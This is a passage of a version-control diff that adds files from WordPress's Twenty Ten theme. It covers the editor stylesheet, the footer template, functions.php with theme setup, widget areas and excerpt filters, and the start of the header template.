+	margin-right: 0;
+}
+blockquote {
+	font-style: normal;
+}
+table {
+	text-align: right;
+	margin: 0 0 24px -1px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/editor-style.css	(revision 56912)
@@ -0,0 +1,297 @@
+/*
+Theme Name: Twenty Ten
+Description: Used to style the TinyMCE editor.
+*/
+html .mceContentBody {
+	max-width: 640px;
+}
+* {
+	color: #444;
+	font-family: Georgia, "Bitstream Charter", serif;
+	line-height: 1.5;
+}
+p,
+dl,
+td,
+th,
+ul,
+ol,
+blockquote {
+	font-size: 16px;
+}
+tr th,
+thead th,
+label,
+tr th,
+thead th {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+pre {
+	font-family: "Courier 10 Pitch", Courier, monospace;
+}
+code, code var {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+body, input, textarea {
+	font-size: 12px;
+	line-height: 18px;
+}
+hr {
+	background-color: #e7e7e7;
+	border: 0;
+	clear: both;
+	height: 1px;
+	margin-bottom: 18px;
+}
+/* Text elements */
+p {
+	margin-bottom: 18px;
+}
+
+ul,
+ol {
+	margin: 0 0 18px 1.5em;
+	padding: 0;
+}
+
+ul {
+	list-style: square;
+}
+ol {
+	list-style: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 0 24px 0;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 18px;
+}
+strong {
+	color: #000;
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	border: none;
+	font-style: italic;
+}
+big {
+	font-size: 131.25%;
+}
+ins {
+	background: #ffc;
+	border: none;
+	color: #333;
+}
+del {
+	text-decoration: line-through;
+	color: #555;
+}
+blockquote {
+	font-style: italic;
+	padding: 0 3em;
+}
+blockquote cite,
+blockquote em,
+blockquote i {
+	font-style: normal;
+}
+pre {
+	background: #f7f7f7;
+	color: #222;
+	line-height: 18px;
+	margin-bottom: 18px;
+	padding: 1.5em;
+}
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+ins {
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+a:link {
+	color: #06c;
+}
+a:visited {
+	color: #743399;
+}
+a:active,
+a:hover {
+	color: #ff4b33;
+}
+p,
+ul,
+ol,
+dd,
+pre,
+hr {
+	margin-bottom: 24px;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+pre,
+kbd,
+tt,
+var {
+	font-size: 15px;
+	line-height: 21px;
+}
+code {
+	font-size: 13px;
+}
+strong,
+b,
+dt,
+th {
+	color: #000;
+}
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	color: #000;
+	font-weight: normal;
+	line-height: 1.5em;
+	margin: 0 0 20px 0;
+}
+h1 {
+	font-size: 2.4em;
+}
+h2 {
+	font-size: 1.8em;
+}
+h3 {
+	font-size: 1.4em;
+}
+h4 {
+	font-size: 1.2em;
+}
+h5 {
+	font-size: 1em;
+}
+h6 {
+	font-size: 0.9em;
+}
+table {
+	border: 1px solid #e7e7e7 !important;
+	border-collapse: collapse;
+	border-spacing: 0;
+	margin: 0 -1px 24px 0;
+	text-align: left;
+	width: 100%;
+}
+tr th,
+thead th {
+	border: none !important;
+	color: #888;
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 18px;
+	padding: 9px 24px;
+}
+tr td {
+	border: none !important;
+	border-top: 1px solid #e7e7e7 !important;
+	padding: 6px 24px;
+}
+img {
+	margin: 0;
+}
+img.size-auto,
+img.size-large,
+img.size-full,
+img.size-medium {
+	max-width: 100%;
+	height: auto;
+}
+.alignleft,
+img.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 24px;
+	margin-top: 4px;
+}
+.alignright,
+img.alignright {
+	display: inline;
+	float: right;
+	margin-left: 24px;
+	margin-top: 4px;
+}
+.aligncenter,
+img.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 12px;
+}
+.wp-caption {
+	background: #f1f1f1;
+	border: none;
+	-khtml-border-radius: 0;
+	-moz-border-radius: 0;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	color: #888;
+	font-size: 12px;
+	line-height: 18px;
+	margin-bottom: 20px;
+	max-width: 632px !important; /* prevent too-wide images from breaking layout */
+	padding: 4px;
+	text-align: center;
+}
+.wp-caption img {
+	margin: 5px;
+}
+.wp-caption p.wp-caption-text {
+	margin: 0 0 4px;
+}
+.wp-smiley {
+	margin: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/footer.php	(revision 56912)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * Template for displaying the footer
+ *
+ * Contains the closing of the id=main div and all content
+ * after. Calls sidebar-footer.php for bottom widgets.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+	</div><!-- #main -->
+
+	<div id="footer" role="contentinfo">
+		<div id="colophon">
+
+<?php
+	/*
+	 * A sidebar in the footer? Yep. You can customize
+	 * your footer with four columns of widgets.
+	 */
+	get_sidebar( 'footer' );
+?>
+
+			<div id="site-info">
+				<a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">
+					<?php bloginfo( 'name' ); ?>
+				</a>
+				<?php
+				if ( function_exists( 'the_privacy_policy_link' ) ) {
+					the_privacy_policy_link( '<span role="separator" aria-hidden="true"></span>', '' );
+				}
+				?>
+			</div><!-- #site-info -->
+
+			<div id="site-generator">
+				<?php
+				/**
+				 * Fires before the Twenty Ten credits in the footer.
+				 *
+				 * @since Twenty Ten 1.0
+				 */
+				do_action( 'twentyten_credits' ); ?>
+				<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyten' ) ); ?>" class="imprint" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyten' ); ?>">
+					<?php printf( __( 'Proudly powered by %s.', 'twentyten' ), 'WordPress' ); ?>
+				</a>
+			</div><!-- #site-generator -->
+
+		</div><!-- #colophon -->
+	</div><!-- #footer -->
+
+</div><!-- #wrapper -->
+
+<?php
+	/*
+	 * Always have wp_footer() just before the closing </body>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to reference JavaScript files.
+	 */
+
+	wp_footer();
+?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/functions.php	(revision 56912)
@@ -0,0 +1,673 @@
+<?php
+/**
+ * TwentyTen functions and definitions
+ *
+ * Sets up the theme and provides some helper functions. Some helper functions
+ * are used in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * The first function, twentyten_setup(), sets up the theme by registering support
+ * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
+ *
+ * When using a child theme (see https://codex.wordpress.org/Theme_Development and
+ * https://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook. The hook can be removed by using remove_action() or
+ * remove_filter() and you can attach your own function to the hook.
+ *
+ * We can remove the parent theme's hook only after it is attached, which means we need to
+ * wait until setting up the child theme:
+ *
+ * <code>
+ * add_action( 'after_setup_theme', 'my_child_theme_setup' );
+ * function my_child_theme_setup() {
+ *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
+ *     remove_filter( 'excerpt_length', 'twentyten_excerpt_length' );
+ *     ...
+ * }
+ * </code>
+ *
+ * For more information on hooks, actions, and filters, see https://codex.wordpress.org/Plugin_API.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+/*
+ * Set the content width based on the theme's design and stylesheet.
+ *
+ * Used to set the width of images and content. Should be equal to the width the theme
+ * is designed for, generally via the style.css stylesheet.
+ */
+if ( ! isset( $content_width ) )
+	$content_width = 640;
+
+/* Tell WordPress to run twentyten_setup() when the 'after_setup_theme' hook is run. */
+add_action( 'after_setup_theme', 'twentyten_setup' );
+
+if ( ! function_exists( 'twentyten_setup' ) ):
+/**
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which runs
+ * before the init hook. The init hook is too late for some features, such as indicating
+ * support post thumbnails.
+ *
+ * To override twentyten_setup() in a child theme, add your own twentyten_setup to your child theme's
+ * functions.php file.
+ *
+ * @uses add_theme_support()        To add support for post thumbnails, custom headers and backgrounds, and automatic feed links.
+ * @uses register_nav_menus()       To add support for navigation menus.
+ * @uses add_editor_style()         To style the visual editor.
+ * @uses load_theme_textdomain()    For translation/localization support.
+ * @uses register_default_headers() To register the default custom header images provided with the theme.
+ * @uses set_post_thumbnail_size()  To set a custom post thumbnail size.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_setup() {
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+		// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Blue', 'twentyten' ),
+			'slug'  => 'blue',
+			'color' => '#0066cc',
+		),
+		array(
+			'name'  => __( 'Black', 'twentyten' ),
+			'slug'  => 'black',
+			'color' => '#000',
+		),
+		array(
+			'name'  => __( 'Medium Gray', 'twentyten' ),
+			'slug'  => 'medium-gray',
+			'color' => '#666',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentyten' ),
+			'slug'  => 'light-gray',
+			'color' => '#f1f1f1',
+		),
+		array(
+			'name'  => __( 'White', 'twentyten' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+	) );
+
+	// Post Format support. You can also use the legacy "gallery" or "asides" (note the plural) categories.
+	add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );
+
+	// This theme uses post thumbnails
+	add_theme_support( 'post-thumbnails' );
+
+	// Add default posts and comments RSS feed links to head
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed in the /languages/ directory
+	 */
+	load_theme_textdomain( 'twentyten', get_template_directory() . '/languages' );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menus( array(
+		'primary' => __( 'Primary Navigation', 'twentyten' ),
+	) );
+
+	// This theme allows users to set a custom background.
+	add_theme_support( 'custom-background', array(
+		// Let WordPress know what our default background color is.
+		'default-color' => 'f1f1f1',
+	) );
+
+	// The custom header business starts here.
+
+	$custom_header_support = array(
+		/*
+		 * The default image to use.
+		 * The %s is a placeholder for the theme template directory URI.
+		 */
+		'default-image' => '%s/images/headers/path.jpg',
+		// The height and width of our custom header.
+		/**
+		 * Filter the Twenty Ten default header image width.
+		 *
+		 * @since Twenty Ten 1.0
+		 *
+		 * @param int The default header image width in pixels. Default 940.
+		 */
+		'width' => apply_filters( 'twentyten_header_image_width', 940 ),
+		/**
+		 * Filter the Twenty Ten defaul header image height.
+		 *
+		 * @since Twenty Ten 1.0
+		 *
+		 * @param int The default header image height in pixels. Default 198.
+		 */
+		'height' => apply_filters( 'twentyten_header_image_height', 198 ),
+		// Support flexible heights.
+		'flex-height' => true,
+		// Don't support text inside the header image.
+		'header-text' => false,
+		// Callback for styling the header preview in the admin.
+		'admin-head-callback' => 'twentyten_admin_header_style',
+	);
+
+	add_theme_support( 'custom-header', $custom_header_support );
+
+	if ( ! function_exists( 'get_custom_header' ) ) {
+		// This is all for compatibility with versions of WordPress prior to 3.4.
+		define( 'HEADER_TEXTCOLOR', '' );
+		define( 'NO_HEADER_TEXT', true );
+		define( 'HEADER_IMAGE', $custom_header_support['default-image'] );
+		define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] );
+		define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] );
+		add_custom_image_header( '', $custom_header_support['admin-head-callback'] );
+		add_custom_background();
+	}
+
+	/*
+	 * We'll be using post thumbnails for custom header images on posts and pages.
+	 * We want them to be 940 pixels wide by 198 pixels tall.
+	 * Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
+	 */
+	set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true );
+
+	// ... and thus ends the custom header business.
+
+	// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
+	register_default_headers( array(
+		'berries' => array(
+			'url' => '%s/images/headers/berries.jpg',
+			'thumbnail_url' => '%s/images/headers/berries-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Berries', 'twentyten' )
+		),
+		'cherryblossom' => array(
+			'url' => '%s/images/headers/cherryblossoms.jpg',
+			'thumbnail_url' => '%s/images/headers/cherryblossoms-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Cherry Blossoms', 'twentyten' )
+		),
+		'concave' => array(
+			'url' => '%s/images/headers/concave.jpg',
+			'thumbnail_url' => '%s/images/headers/concave-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Concave', 'twentyten' )
+		),
+		'fern' => array(
+			'url' => '%s/images/headers/fern.jpg',
+			'thumbnail_url' => '%s/images/headers/fern-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Fern', 'twentyten' )
+		),
+		'forestfloor' => array(
+			'url' => '%s/images/headers/forestfloor.jpg',
+			'thumbnail_url' => '%s/images/headers/forestfloor-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Forest Floor', 'twentyten' )
+		),
+		'inkwell' => array(
+			'url' => '%s/images/headers/inkwell.jpg',
+			'thumbnail_url' => '%s/images/headers/inkwell-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Inkwell', 'twentyten' )
+		),
+		'path' => array(
+			'url' => '%s/images/headers/path.jpg',
+			'thumbnail_url' => '%s/images/headers/path-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Path', 'twentyten' )
+		),
+		'sunset' => array(
+			'url' => '%s/images/headers/sunset.jpg',
+			'thumbnail_url' => '%s/images/headers/sunset-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Sunset', 'twentyten' )
+		)
+	) );
+}
+endif;
+
+if ( ! function_exists( 'twentyten_admin_header_style' ) ) :
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_custom_image_header() in twentyten_setup().
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_admin_header_style() {
+?>
+<style type="text/css" id="twentyten-admin-header-css">
+/* Shows the same border as on front end */
+#headimg {
+	border-bottom: 1px solid #000;
+	border-top: 4px solid #000;
+}
+/* If header-text was supported, you would style the text with these selectors:
+	#headimg #name { }
+	#headimg #desc { }
+*/
+</style>
+<?php
+}
+endif;
+
+/**
+ * Show a home link for our wp_nav_menu() fallback, wp_page_menu().
+ *
+ * To override this in a child theme, remove the filter and optionally add
+ * your own function tied to the wp_page_menu_args filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param array $args An optional array of arguments. @see wp_page_menu()
+ */
+function twentyten_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
+add_filter( 'wp_page_menu_args', 'twentyten_page_menu_args' );
+
+/**
+ * Set the post excerpt length to 40 characters.
+ *
+ * To override this length in a child theme, remove the filter and add your own
+ * function tied to the excerpt_length filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param int $length The number of excerpt characters.
+ * @return int The filtered number of excerpt characters.
+ */
+function twentyten_excerpt_length( $length ) {
+	return 40;
+}
+add_filter( 'excerpt_length', 'twentyten_excerpt_length' );
+
+if ( ! function_exists( 'twentyten_continue_reading_link' ) ) :
+/**
+ * Return a "Continue Reading" link for excerpts.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @return string "Continue Reading" link.
+ */
+function twentyten_continue_reading_link() {
+	return ' <a href="'. get_permalink() . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) . '</a>';
+}
+endif;
+
+/**
+ * Replace "[...]" with an ellipsis and twentyten_continue_reading_link().
+ *
+ * "[...]" is appended to automatically generated excerpts.
+ *
+ * To override this in a child theme, remove the filter and add your own
+ * function tied to the excerpt_more filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param string $more The Read More text.
+ * @return string An ellipsis.
+ */
+function twentyten_auto_excerpt_more( $more ) {
+	if ( ! is_admin() ) {
+		return ' &hellip;' . twentyten_continue_reading_link();
+	}
+	return $more;
+}
+add_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
+
+/**
+ * Add a pretty "Continue Reading" link to custom post excerpts.
+ *
+ * To override this link in a child theme, remove the filter and add your own
+ * function tied to the get_the_excerpt filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param string $output The "Coninue Reading" link.
+ * @return string Excerpt with a pretty "Continue Reading" link.
+ */
+function twentyten_custom_excerpt_more( $output ) {
+	if ( has_excerpt() && ! is_attachment() && ! is_admin() ) {
+		$output .= twentyten_continue_reading_link();
+	}
+	return $output;
+}
+add_filter( 'get_the_excerpt', 'twentyten_custom_excerpt_more' );
+
+/**
+ * Remove inline styles printed when the gallery shortcode is used.
+ *
+ * Galleries are styled by the theme in Twenty Ten's style.css. This is just
+ * a simple filter call that tells WordPress to not use the default styles.
+ *
+ * @since Twenty Ten 1.2
+ */
+add_filter( 'use_default_gallery_style', '__return_false' );
+
+/**
+ * Deprecated way to remove inline styles printed when the gallery shortcode is used.
+ *
+ * This function is no longer needed or used. Use the use_default_gallery_style
+ * filter instead, as seen above.
+ *
+ * @since Twenty Ten 1.0
+ * @deprecated Deprecated in Twenty Ten 1.2 for WordPress 3.1
+ *
+ * @return string The gallery style filter, with the styles themselves removed.
+ */
+function twentyten_remove_gallery_css( $css ) {
+	return preg_replace( "#<style type='text/css'>(.*?)</style>#s", '', $css );
+}
+// Backwards compatibility with WordPress 3.0.
+if ( version_compare( $GLOBALS['wp_version'], '3.1', '<' ) )
+	add_filter( 'gallery_style', 'twentyten_remove_gallery_css' );
+
+if ( ! function_exists( 'twentyten_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentyten_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param object $comment The comment object.
+ * @param array  $args    An array of arguments. @see get_comment_reply_link()
+ * @param int    $depth   The depth of the comment.
+ */
+function twentyten_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case '' :
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<div id="comment-<?php comment_ID(); ?>">
+			<div class="comment-author vcard">
+				<?php echo get_avatar( $comment, 40 ); ?>
+				<?php printf( __( '%s <span class="says">says:</span>', 'twentyten' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?>
+			</div><!-- .comment-author .vcard -->
+			<?php if ( $comment->comment_approved == '0' ) : ?>
+				<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?></em>
+				<br />
+			<?php endif; ?>
+
+			<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>">
+				<?php
+					/* translators: 1: date, 2: time */
+					printf( __( '%1$s at %2$s', 'twentyten' ), get_comment_date(),  get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' );
+				?>
+			</div><!-- .comment-meta .commentmetadata -->
+
+			<div class="comment-body"><?php comment_text(); ?></div>
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</div><!-- #comment-##  -->
+
+	<?php
+			break;
+		case 'pingback'  :
+		case 'trackback' :
+	?>
+	<li class="post pingback">
+		<p><?php _e( 'Pingback:', 'twentyten' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?></p>
+	<?php
+			break;
+	endswitch;
+}
+endif;
+
+/**
+ * Register widgetized areas, including two sidebars and four widget-ready columns in the footer.
+ *
+ * To override twentyten_widgets_init() in a child theme, remove the action hook and add your own
+ * function tied to the init hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @uses register_sidebar()
+ */
+function twentyten_widgets_init() {
+	// Area 1, located at the top of the sidebar.
+	register_sidebar( array(
+		'name' => __( 'Primary Widget Area', 'twentyten' ),
+		'id' => 'primary-widget-area',
+		'description' => __( 'Add widgets here to appear in your sidebar.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 2, located below the Primary Widget Area in the sidebar. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Secondary Widget Area', 'twentyten' ),
+		'id' => 'secondary-widget-area',
+		'description' => __( 'An optional secondary widget area, displays below the primary widget area in your sidebar.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 3, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'First Footer Widget Area', 'twentyten' ),
+		'id' => 'first-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 4, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Second Footer Widget Area', 'twentyten' ),
+		'id' => 'second-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 5, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Third Footer Widget Area', 'twentyten' ),
+		'id' => 'third-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 6, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Fourth Footer Widget Area', 'twentyten' ),
+		'id' => 'fourth-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+/** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */
+add_action( 'widgets_init', 'twentyten_widgets_init' );
+
+/**
+ * Remove the default styles that are packaged with the Recent Comments widget.
+ *
+ * To override this in a child theme, remove the filter and optionally add your own
+ * function tied to the widgets_init action hook.
+ *
+ * This function uses a filter (show_recent_comments_widget_style) new in WordPress 3.1
+ * to remove the default style. Using Twenty Ten 1.2 in WordPress 3.0 will show the styles,
+ * but they won't have any effect on the widget in default Twenty Ten styling.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_remove_recent_comments_style() {
+	add_filter( 'show_recent_comments_widget_style', '__return_false' );
+}
+add_action( 'widgets_init', 'twentyten_remove_recent_comments_style' );
+
+if ( ! function_exists( 'twentyten_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_posted_on() {
+	printf( __( '<span class="%1$s">Posted on</span> %2$s <span class="meta-sep">by</span> %3$s', 'twentyten' ),
+		'meta-prep meta-prep-author',
+		sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><span class="entry-date">%3$s</span></a>',
+			get_permalink(),
+			esc_attr( get_the_time() ),
+			get_the_date()
+		),
+		sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s">%3$s</a></span>',
+			get_author_posts_url( get_the_author_meta( 'ID' ) ),
+			esc_attr( sprintf( __( 'View all posts by %s', 'twentyten' ), get_the_author() ) ),
+			get_the_author()
+		)
+	);
+}
+endif;
+
+if ( ! function_exists( 'twentyten_posted_in' ) ) :
+/**
+ * Print HTML with meta information for the current post (category, tags and permalink).
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_posted_in() {
+	// Retrieves tag list of current post, separated by commas.
+	$tag_list = get_the_tag_list( '', ', ' );
+	if ( $tag_list && ! is_wp_error( $tag_list ) ) {
+		$posted_in = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	} elseif ( is_object_in_taxonomy( get_post_type(), 'category' ) ) {
+		$posted_in = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	} else {
+		$posted_in = __( 'Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	}
+	// Prints the string, replacing the placeholders.
+	printf(
+		$posted_in,
+		get_the_category_list( ', ' ),
+		$tag_list,
+		get_permalink(),
+		the_title_attribute( 'echo=0' )
+	);
+}
+endif;
+
+/**
+ * Retrieve the IDs for images in a gallery.
+ *
+ * @uses get_post_galleries() First, if available. Falls back to shortcode parsing,
+ *                            then as last option uses a get_posts() call.
+ *
+ * @since Twenty Ten 1.6.
+ *
+ * @return array List of image IDs from the post gallery.
+ */
+function twentyten_get_gallery_images() {
+	$images = array();
+
+	if ( function_exists( 'get_post_galleries' ) ) {
+		$galleries = get_post_galleries( get_the_ID(), false );
+		if ( isset( $galleries[0]['ids'] ) )
+			$images = explode( ',', $galleries[0]['ids'] );
+	} else {
+		$pattern = get_shortcode_regex();
+		preg_match( "/$pattern/s", get_the_content(), $match );
+		$atts = shortcode_parse_atts( $match[3] );
+		if ( isset( $atts['ids'] ) )
+			$images = explode( ',', $atts['ids'] );
+	}
+
+	if ( ! $images ) {
+		$images = get_posts( array(
+			'fields'         => 'ids',
+			'numberposts'    => 999,
+			'order'          => 'ASC',
+			'orderby'        => 'menu_order',
+			'post_mime_type' => 'image',
+			'post_parent'    => get_the_ID(),
+			'post_type'      => 'attachment',
+		) );
+	}
+
+	return $images;
+}
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Ten 2.4
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentyten_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentyten_widget_tag_cloud_args' );
+
+/**
+ * Enqueue scripts and styles for front end.
+ *
+ * @since Twenty Ten 2.6
+ */
+function twentyten_scripts_styles() {
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentyten-block-style', get_template_directory_uri() . '/blocks.css', array(), '20181018' );
+}
+add_action( 'wp_enqueue_scripts', 'twentyten_scripts_styles' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Ten 2.6
+ */
+function twentyten_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentyten-block-editor-style', get_template_directory_uri() . '/editor-blocks.css' );
+}
+add_action( 'enqueue_block_editor_assets', 'twentyten_block_editor_styles' );
+
+
Index: /tags/5.0.20/src/wp-content/themes/twentyten/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/header.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?>>
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<title><?php
+	/*
+	 * Print the <title> tag based on what is being viewed.
+	 */
+	global $page, $paged;
